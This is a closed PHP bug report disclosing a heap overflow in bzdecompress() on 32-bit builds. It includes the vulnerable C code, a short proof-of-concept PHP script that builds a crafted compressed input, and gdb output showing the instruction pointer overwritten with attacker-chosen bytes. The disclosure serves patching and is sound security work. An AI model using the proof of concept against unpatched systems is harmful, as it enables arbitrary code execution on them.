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Bug #73386 Heap overflow due to integer overflow in bzdecompress() function
Submitted: 2016-10-25 09:35 UTC Modified: 2017-02-13 01:00 UTC
From: bughunter at fosec dot vn Assigned: stas (profile)
Status: Closed Package: Bzip2 Related
PHP Version: 7.1Git-2016-10-25 (Git) OS: Linux
Private report: No CVE-ID: None
 [2016-10-25 09:35 UTC] bughunter at fosec dot vn
I have found some vulnerable code at bzdecompress() function in module Bzip2. bzdecompress() function creates a new zend_string object to store decompressed data. The size of destination string depends on the size of source string. ( reffer at ext/bz2/bz2.c:589 )

static PHP_FUNCTION(bzdecompress)

	bzs.avail_in = source_len;
	/* in most cases bz2 offers at least 2:1 compression, so we use that as our base */
	bzs.avail_out = source_len * 2;
	dest = zend_string_alloc(bzs.avail_out + 1, 0);

If compressed string is too long, bzs.avail_out will be an unexpected value and zend_string_alloc() function will allocate a small memory range. Due to missing check of size before calling
zend_string_alloc(), this new memory range can not use to store large decompressed data and lead to heap overflow. The overflow results as arbitrary code execution, I can control eip register to the arbitrary value. This bug is only triggered in 32bit machine.

It should be zend_string_alloc_safe instead of zend_string_alloc.

Test script:
ini_set('memory_limit', -1);
$s = str_repeat('A', 0xE3AC)."BBBB".str_repeat('C', 0x1C50);
$a = bzcompress($s);
$a = $a.str_repeat('A', 4634 - strlen($a));
$a = str_repeat($a, 0x7ffffffe / strlen($a));

Actual result:
[root@local PHP-7.1]# gdb --args sapi/cli/php -f ../crash/bz_poc.php

EAX: 0x0
EBX: 0x1
ECX: 0xffffff60
EDX: 0x7fff
ESI: 0xb7813020 --> 0xb78743f0 ('A' <repeats 28 times>, "BBBB", 'C' <repeats 168 times>...)
EDI: 0xb787440c ("BBBB", 'C' <repeats 196 times>...)
EBP: 0xbfffc094 --> 0x0
ESP: 0xbfffbffc --> 0x835fd02 (<execute_ex+34>: test   edi,edi)
EIP: 0x42424242 --> 0x2478184
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
=> 0x42424242:  test   BYTE PTR [ecx+0x60380247],al
   0x42424248:  inc    ecx
   0x42424249:  inc    ecx
   0x4242424a:  inc    ecx
0000| 0xbfffbffc --> 0x835fd02 (<execute_ex+34>:        test   edi,edi)
0004| 0xbfffc000 --> 0xbfffc094 --> 0x0
0008| 0xbfffc004 --> 0xb7864180 --> 0x2
0012| 0xbfffc008 --> 0x0
0016| 0xbfffc00c --> 0x83aed9b (<zend_execute+315>:     mov    edx,DWORD PTR [esp+0x18])
0020| 0xbfffc010 --> 0xb7813020 --> 0xb78743f0 ('A' <repeats 28 times>, "BBBB", 'C' <repeats 168 times>...)
0024| 0xbfffc014 --> 0x0
0028| 0xbfffc018 --> 0x1c
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$ i r eip
eip            0x42424242       0x42424242

EIP is controlled as 0x42424242, from the input "BBBB".


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 [2016-11-05 21:48 UTC]
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2016-11-05 21:48 UTC]
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at

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Thank you for the report, and for helping us make PHP better.

 [2017-02-13 01:00 UTC]
-Type: Security +Type: Bug
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